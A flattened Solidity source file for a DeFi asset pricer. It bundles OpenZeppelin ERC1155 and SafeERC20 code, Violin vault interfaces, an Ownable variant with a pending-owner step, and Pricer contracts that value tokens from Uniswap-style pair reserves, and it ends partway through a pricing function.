// File @openzeppelin/contracts/token/ERC1155/[email protected]
// License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external;
}
// File @violinio/violin-vaults-contracts/contracts/interfaces/[email protected]
// License-Identifier: MIT
pragma solidity ^0.8.6;
interface IStrategy {
/**
* @notice Gets the token this strategy compounds.
* @dev This token might have a transfer-tax.
* @dev Invariant: This variable may never change.
*/
function underlyingToken() external view returns (IERC20);
/**
* @notice Gets the total amount of tokens either idle in this strategy or staked in an underlying strategy.
*/
function totalUnderlying() external view returns (uint256 totalUnderlying);
/**
* @notice Gets the total amount of tokens either idle in this strategy or staked in an underlying strategy and only the tokens actually staked.
*/
function totalUnderlyingAndStaked() external view returns (uint256 totalUnderlying, uint256 totalUnderlyingStaked);
/**
* @notice The panic function unstakes all staked funds from the strategy and leaves them idle in the strategy for withdrawal
* @dev Authority: This function must only be callable by the VaultChef.
*/
function panic() external;
/**
* @notice Executes a harvest on the underlying vaultchef.
* @dev Authority: This function must only be callable by the vaultchef.
*/
function harvest() external;
/**
* @notice Deposits `amount` amount of underlying tokens in the underlying strategy
* @dev Authority: This function must only be callable by the VaultChef.
*/
function deposit(uint256 amount) external;
/**
* @notice Withdraws `amount` amount of underlying tokens to `to`.
* @dev Authority: This function must only be callable by the VaultChef.
*/
function withdraw(address to, uint256 amount) external;
/**
* @notice Withdraws `amount` amount of `token` to `to`.
* @notice This function is used to withdraw non-staking and non-native tokens accidentally sent to the strategy.
* @notice It will also be used to withdraw tokens airdropped to the strategies.
* @notice The underlying token can never be withdrawn through this method because VaultChef prevents it.
* @dev Requirement: This function should in no way allow withdrawal of staking tokens
* @dev Requirement: This function should in no way allow for the decline in shares or share value (this is also checked in the VaultChef);
* @dev Validation is already done in the VaultChef that the staking token cannot be withdrawn.
* @dev Authority: This function must only be callable by the VaultChef.
*/
function inCaseTokensGetStuck(
IERC20 token,
uint256 amount,
address to
) external;
}
// File @violinio/violin-vaults-contracts/contracts/interfaces/[email protected]
// License-Identifier: MIT
pragma solidity ^0.8.6;
/**
* @notice The VaultChef is a vault management contract that manages vaults, their strategies and the share positions of investors in these vaults.
* @notice Positions are not hardcoded into the contract like traditional staking contracts, instead they are managed as ERC-1155 receipt tokens.
* @notice This receipt-token mechanism is supposed to simplify zapping and other derivative protocols.
* @dev The VaultChef contract has the following design principles.
* @dev 1. Simplicity of Strategies: Strategies should be as simple as possible.
* @dev 2. Control of Governance: Governance should never be able to steal underlying funds.
* @dev 3. Auditability: It should be easy for third-party reviewers to assess the safety of the VaultChef.
*/
interface IVaultChefCore is IERC1155 {
/// @notice A vault is a strategy users can stake underlying tokens in to receive a share of the vault value.
struct Vault {
/// @notice The token this strategy will compound.
IERC20 underlyingToken;
/// @notice The timestamp of the last harvest, set to zero while no harvests have happened.
uint96 lastHarvestTimestamp;
/// @notice The strategy contract.
IStrategy strategy;
/// @notice The performance fee portion of the harvests that is sent to the feeAddress, denominated by 10,000.
uint16 performanceFeeBP;
/// @notice Whether deposits are currently paused.
bool paused;
/// @notice Whether the vault has panicked which means the funds are pulled from the strategy and it is paused forever.
bool panicked;
}
/**
* @notice Deposit `underlyingAmount` amount of underlying tokens into the vault and receive `sharesReceived` proportional to the actually staked amount.
* @notice Deposits mint `sharesReceived` receipt tokens as ERC-1155 tokens to msg.sender with the tokenId equal to the vaultId.
* @notice The tokens are transferred from `msg.sender` which requires approval if pulled is set to false, otherwise `msg.sender` needs to implement IPullDepositor.
* @param vaultId The id of the vault.
* @param underlyingAmount The intended amount of tokens to deposit (this might not equal the actual deposited amount due to tx/stake fees or the pull mechanism).
* @param pulled Uses a pull-based deposit hook if set to true, otherwise traditional safeTransferFrom. The pull-based mechanism allows the depositor to send tokens using a hook.
* @param minSharesReceived The minimum amount of shares that must be received, or the transaction reverts.
* @dev This pull-based methodology is extremely valuable for zapping transfer-tax tokens more economically.
* @dev `msg.sender` must be a smart contract implementing the `IPullDepositor` interface.
* @return sharesReceived The number of shares minted to the msg.sender.
*/
function depositUnderlying(
uint256 vaultId,
uint256 underlyingAmount,
bool pulled,
uint256 minSharesReceived
) external returns (uint256 sharesReceived);
/**
* @notice Withdraws `shares` from the vault into underlying tokens to the `msg.sender`.
* @notice Burns `shares` receipt tokens from the `msg.sender`.
* @param vaultId The id of the vault.
* @param shares The amount of shares to burn, underlying tokens will be sent to msg.sender proportionally.
* @param minUnderlyingReceived The minimum amount of underlying tokens that must be received, or the transaction reverts.
*/
function withdrawShares(
uint256 vaultId,
uint256 shares,
uint256 minUnderlyingReceived
) external returns (uint256 underlyingReceived);
/**
* @notice Withdraws `shares` from the vault into underlying tokens to the `to` address.
* @notice To prevent phishing, we require msg.sender to be a contract as this is intended for more economical zapping of transfer-tax token withdrawals.
* @notice Burns `shares` receipt tokens from the `msg.sender`.
* @param vaultId The id of the vault.
* @param shares The amount of shares to burn, underlying tokens will be sent to msg.sender proportionally.
* @param minUnderlyingReceived The minimum amount of underlying tokens that must be received, or the transaction reverts.
*/
function withdrawSharesTo(
uint256 vaultId,
uint256 shares,
uint256 minUnderlyingReceived,
address to
) external returns (uint256 underlyingReceived);
/**
* @notice Total amount of shares in circulation for a given vaultId.
* @param vaultId The id of the vault.
* @return The total number of shares currently in circulation.
*/
function totalSupply(uint256 vaultId) external view returns (uint256);
/**
* @notice Calls harvest on the underlying strategy to compound pending rewards to underlying tokens.
* @notice The performance fee is minted to the owner as shares, it can never be greater than 5% of the underlyingIncrease.
* @return underlyingIncrease The amount of underlying tokens generated.
* @dev Can only be called by owner.
*/
function harvest(uint256 vaultId)
external
returns (uint256 underlyingIncrease);
/**
* @notice Adds a new vault to the vaultchef.
* @param strategy The strategy contract that manages the allocation of the funds for this vault, also defines the underlying token
* @param performanceFeeBP The percentage of the harvest rewards that are given to the governance, denominated by 10,000 and maximum 5%.
* @dev Can only be called by owner.
*/
function addVault(IStrategy strategy, uint16 performanceFeeBP) external;
/**
* @notice Updates the performanceFee of the vault.
* @param vaultId The id of the vault.
* @param performanceFeeBP The percentage of the harvest rewards that are given to the governance, denominated by 10,000 and maximum 5%.
* @dev Can only be called by owner.
*/
function setVault(uint256 vaultId, uint16 performanceFeeBP) external;
/**
* @notice Allows the `pullDepositor` to create pull-based deposits (useful for zapping contract).
* @notice Having a whitelist is not necessary for this functionality as it is safe but upon defensive code recommendations one was added in.
* @dev Can only be called by owner.
*/
function setPullDepositor(address pullDepositor, bool isAllowed) external;
/**
* @notice Withdraws funds from the underlying staking contract to the strategy and irreversibly pauses the vault.
* @param vaultId The id of the vault.
* @dev Can only be called by owner.
*/
function panicVault(uint256 vaultId) external;
/**
* @notice Returns true if there is a vault associated with the `vaultId`.
* @param vaultId The id of the vault.
*/
function isValidVault(uint256 vaultId) external view returns (bool);
/**
* @notice Returns the Vault information of the vault at `vaultId`, returns if non-existent.
* @param vaultId The id of the vault.
*/
function vaultInfo(uint256 vaultId) external view returns (Vault memory);
/**
* @notice Pauses the vault which means deposits and harvests are no longer permitted, reverts if already set to the desired value.
* @param vaultId The id of the vault.
* @param paused True to pause, false to unpause.
* @dev Can only be called by owner.
*/
function pauseVault(uint256 vaultId, bool paused) external;
/**
* @notice Transfers tokens from the VaultChef to the `to` address.
* @notice Cannot be abused by governance since the protocol never ever transfers tokens to the VaultChef. Any tokens stored there are accidentally sent there.
* @param token The token to withdraw from the VaultChef.
* @param to The address to send the token to.
* @dev Can only be called by owner.
*/
function inCaseTokensGetStuck(IERC20 token, address to) external;
/**
* @notice Transfers tokens from the underlying strategy to the `to` address.
* @notice Cannot be abused by governance since VaultChef prevents token to be equal to the underlying token.
* @param token The token to withdraw from the strategy.
* @param to The address to send the token to.
* @param amount The amount of tokens to withdraw.
* @dev Can only be called by owner.
*/
function inCaseVaultTokensGetStuck(
uint256 vaultId,
IERC20 token,
address to,
uint256 amount
) external;
}
// File @violinio/violin-vaults-contracts/contracts/interfaces/[email protected]
// License-Identifier: MIT
pragma solidity ^0.8.6;
/// @dev The VaultChef implements the masterchef interface for compatibility with third-party tools.
interface IMasterChef {
/// @dev An active vault has a dummy allocPoint of 1 while an inactive one has an allocPoint of zero.
/// @dev This is done for better compatibility with third-party tools.
function poolInfo(uint256 pid)
external
view
returns (
IERC20 lpToken,
uint256 allocPoint,
uint256 lastRewardBlock,
uint256 accTokenPerShare
);
function userInfo(uint256 pid, address user)
external
view
returns (uint256 amount, uint256 rewardDebt);
function startBlock() external view returns (uint256);
function poolLength() external view returns (uint256);
/// @dev Returns the total number of active vaults.
function totalAllocPoint() external view returns (uint256);
function deposit(uint256 _pid, uint256 _amount) external;
function withdraw(uint256 _pid, uint256 _amount) external;
function emergencyWithdraw(uint256 _pid) external;
}
// File @violinio/violin-vaults-contracts/contracts/interfaces/[email protected]
// License-Identifier: MIT
// Based on: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/1b27c13096d6e4389d62e7b0766a1db53fbb3f1b/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.6;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File @violinio/violin-vaults-contracts/contracts/interfaces/[email protected]
// License-Identifier: MIT
pragma solidity ^0.8.6;
interface IVaultChefWrapper is IMasterChef, IERC20Metadata{
/**
* @notice Interface function to fetch the total underlying tokens inside a vault.
* @notice Calls the totalUnderlying function on the vault strategy.
* @param vaultId The id of the vault.
*/
function totalUnderlying(uint256 vaultId) external view returns (uint256);
/**
* @notice Changes the ERC-20 metadata for etherscan listing.
* @param newName The new ERC-20-like token name.
* @param newSymbol The new ERC-20-like token symbol.
* @param newDecimals The new ERC-20-like token decimals.
*/
function changeMetadata(
string memory newName,
string memory newSymbol,
uint8 newDecimals
) external;
/**
* @notice Sets the ERC-1155 metadata URI.
* @param newURI The new ERC-1155 metadata URI.
*/
function setURI(string memory newURI) external;
/// @notice mapping that returns true if the strategy is set as a vault.
function strategyExists(IStrategy strategy) external view returns(bool);
/// @notice Utility mapping for UI to figure out the vault id of a strategy.
function strategyVaultId(IStrategy strategy) external view returns(uint256);
}
// File @violinio/violin-vaults-contracts/contracts/interfaces/[email protected]
// License-Identifier: MIT
pragma solidity ^0.8.6;
/// @notice Interface for derivative protocols.
interface IVaultChef is IVaultChefWrapper, IVaultChefCore {
}
// File contracts/libraries/SimplePairPricer.sol
library SimplePairPricer {
function getReserveInOutTokenAndAmount(IUniswapV2Pair pair, address tokenIn, uint256 amountIn) internal view returns (uint256 reserveIn, address tokenOther, uint256 amountOut, uint256 amountOutNoSlippage) {
// force token0 to be token and token1 to be the pair token
address token1 = pair.token1();
(uint256 reserve0, uint256 reserve1,) = pair.getReserves();
if(token1 == tokenIn) {
token1 = pair.token0();
(reserve0, reserve1) = (reserve1, reserve0);
}
uint256 amOutNoSlippage = reserve0 == 0 ? 0 : amountIn * reserve1 / reserve0;
return (reserve0, token1, calculateAmountOut(amountIn, reserve0, reserve1), amOutNoSlippage);
}
function getOutTokenAndAmount(IUniswapV2Pair pair, address tokenIn, uint256 amountIn) internal view returns (address tokenOther, uint256 amountOut, uint256 amountOutNoSlippage) {
// force token0 to be token and token1 to be the pair token
address token1 = pair.token1();
(uint256 reserve0, uint256 reserve1,) = pair.getReserves();
if(token1 == tokenIn) {
token1 = pair.token0();
(reserve0, reserve1) = (reserve1, reserve0);
}
uint256 amOutNoSlippage = reserve0 == 0 ? 0 : amountIn * reserve1 / reserve0;
return (token1, calculateAmountOut(amountIn, reserve0, reserve1), amOutNoSlippage);
}
/// @dev Simple pricer that accounts for price slippage.
function calculateAmountOut(uint amountIn, uint reserveIn, uint reserveOut) private pure returns (uint) {
if(reserveIn == 0)
return 0;
return (amountIn * reserveOut) / (reserveIn + amountIn);
}
}
// File @openzeppelin/contracts/utils/[email protected]
// License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/token/ERC20/utils/[email protected]
// License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File contracts/dependencies/Ownable.sol
// License-Identifier: MIT
// Derived from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/1b27c13096d6e4389d62e7b0766a1db53fbb3f1b/contracts/access/Ownable.sol
// Adds pending owner
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
address public pendingOwner;
event PendingOwnershipTransferred(address indexed previousPendingOwner, address indexed newPendingOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to the pendingOwner.
* Can only be called by the pendingOwner.
*/
function transferOwnership() public virtual {
require(_msgSender() == pendingOwner, "Ownable: caller is not the pendingOwner");
require(pendingOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(pendingOwner);
}
/**
* @dev Sets the pendingOwner, ownership is only transferred when they call transferOwnership.
* Can only be called by the current owner.
*/
function setPendingOwner(address newPendingOwner) external onlyOwner {
address oldPendingOwner = pendingOwner;
pendingOwner = newPendingOwner;
emit PendingOwnershipTransferred(oldPendingOwner, pendingOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
pendingOwner = address(0);
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File contracts/interfaces/IPricer.sol
// License-Identifier: MIT
pragma solidity ^0.8.6;
/// @notice The Pricer allows contracts and frontends to efficiently fetch asset prices. Initially it is only meant to fetch ERC-20 prices but over time the metadata parameter could be used to allow for different types of assets like ERC-1155.
interface IPricer {
/// @notice Returns the dollar value of the `amount` of `asset` at the current spot price. Returned value is in 1e18.
/// @param metadata Can contain metadata about non ERC20 assets, like the token id of erc1155.
function getValue(
address asset,
uint256 amount,
bytes calldata metadata
) external view returns (uint256);
/// @notice calls getValue for all provided assets. Input parameters must be equal length.
function getValues(
address[] calldata assets,
uint256[] calldata amounts,
bytes[] calldata metadata
) external view returns (uint256[] memory);
/// @notice Returns the dollar value of the `amount` of one full unit (10^decimals) of `asset` at the current spot price. Returned value is in 1e18.
function getPrice(address asset, bytes calldata metadata)
external
view
returns (uint256);
/// @notice Calls getPrice for all provided assets. Input parameters must be equal length.
function getPrices(address[] calldata assets, bytes[] calldata metadata)
external
view
returns (uint256[] memory);
}
// File contracts/Pricer.sol
// License-Identifier: MIT
pragma solidity ^0.8.6;
/// @notice The Pricer allows contracts and frontends to efficiently fetch asset prices.
/// @notice Initially it is only meant to fetch ERC-20 prices but over time the metadata parameter could be used to allow for different types of assets like ERC-1155.
/// @dev It forwards all requests blindly to the implementation, this allows the implementation to change over time.
contract Pricer is IPricer, Ownable {
using SafeERC20 for IERC20;
/// @dev The implementation that actually executes the pricing requests.
IPricer public implementation;
event ImplementationChanged(
IPricer indexed oldImplementation,
IPricer indexed newImplementation
);
constructor(address _owner) {
_transferOwnership(_owner);
}
/// @notice Returns the dollar value of the `amount` of `asset` at the current spot price. Returned value is in 1e18.
/// @param metadata Can contain metadata about non ERC20 assets, like the token id of erc1155.
function getValue(
address asset,
uint256 amount,
bytes calldata metadata
) external view override returns (uint256) {
return implementation.getValue(asset, amount, metadata);
}
/// @notice calls getValue for all provided assets. Input parameters must be equal length.
function getValues(
address[] calldata assets,
uint256[] calldata amounts,
bytes[] calldata metadata
) external view override returns (uint256[] memory) {
return implementation.getValues(assets, amounts, metadata);
}
/// @notice Returns the dollar value of the `amount` of one full unit (10^decimals) of `asset` at the current spot price. Returned value is in 1e18.
function getPrice(address asset, bytes calldata metadata)
external
view
override
returns (uint256)
{
return implementation.getPrice(asset, metadata);
}
/// @notice Calls getPrice for all provided assets. Input parameters must be equal length.
function getPrices(address[] calldata assets, bytes[] calldata metadata)
external
view
override
returns (uint256[] memory)
{
return implementation.getPrices(assets, metadata);
}
/**
* @notice Sets the underlying implementation that fulfills the swap orders.
* @dev Can only be called by the contract owner.
* @param _implementation The new implementation.
*/
function setImplementation(IPricer _implementation) external onlyOwner {
IPricer oldImplementation = implementation;
implementation = _implementation;
emit ImplementationChanged(oldImplementation, _implementation);
}
}
// File contracts/PricerHandlerV1.sol
// License-Identifier: MIT
pragma solidity ^0.8.6;
contract PricerHandlerV1 is IPricer, AccessControlEnumerableUpgradeable {
using EnumerableSet for EnumerableSet.AddressSet;
/// @dev Used to load in pair.getAmountOut method.
using SimplePairPricer for IUniswapV2Pair;
/// @dev Simple identifier for internal parties. We reserve the right to make breaking changes without upgrading the VERSION.
uint256 public constant VERSION = 1;
/// @dev Information about a stablecoin, all main assets should either be a stablecoin or have an overriden pair to a stablecoin.
struct StableCoinInfo {
bool set;
uint8 decimals;
}
/// @dev An enumerable list of all registered factories.
EnumerableSet.AddressSet factories;
/// @dev An enumerable list of all registered factories.
EnumerableSet.AddressSet mainAssets;
/// @dev Forces usage of the specified pair for calculating the first step of the value calculation.
mapping(address => IUniswapV2Pair) public overridenPairForToken;
/// @dev Information about a coin being a stablecoin. Everything is eventually routed to a stablecoin.
mapping(address => StableCoinInfo) public stablecoins;
/// @dev Management roles
bytes32 public constant SET_FACTORY_ROLE = keccak256("SET_FACTORY_ROLE");
bytes32 public constant SET_ASSET_ROLE =
keccak256("SET_ASSET_ROLE");
/// @dev Utility contract that throws if the provided address is not a pair, used because simple try-catch is insufficient due to it still reverting on wrong return data (and I'm too lazy for a low-level call).
PairChecker public pairChecker;
function initialize(address _owner) external initializer {
__AccessControlEnumerable_init();
/// @dev Make msg.sender the default admin
_setupRole(DEFAULT_ADMIN_ROLE, _owner);
_setupRole(SET_FACTORY_ROLE, _owner);
_setupRole(SET_ASSET_ROLE, _owner);
pairChecker = new PairChecker();
}
/// @notice Returns the dollar value of the `amount` of `asset` at the current spot price. Returned value is in 1e18.
/// @param metadata Can contain metadata about non ERC20 assets, like the token id of erc1155.
function getValue(
address asset,
uint256 amount,
bytes calldata metadata
) public view override returns (uint256) {
// First we check if the asset is the vaultchef by assuming that any metadata set would be the token id. We simply overwrite the parameters to the underlying parameters.
if (metadata.length > 0) {
uint256 tokenId = abi.decode(metadata, (uint256));
uint256 totalUnderlying = IVaultChef(asset).totalUnderlying(
tokenId
);
uint256 totalSupply = IVaultChef(asset).totalSupply(tokenId);
IVaultChefCore.Vault memory vault = IVaultChef(asset).vaultInfo(
tokenId
);
asset = address(vault.underlyingToken);
amount = (amount * totalUnderlying) / totalSupply;
}
// Then we check if the asset is a pair
try pairChecker.isPair(asset) {
address token0 = IUniswapV2Pair(asset).token0();
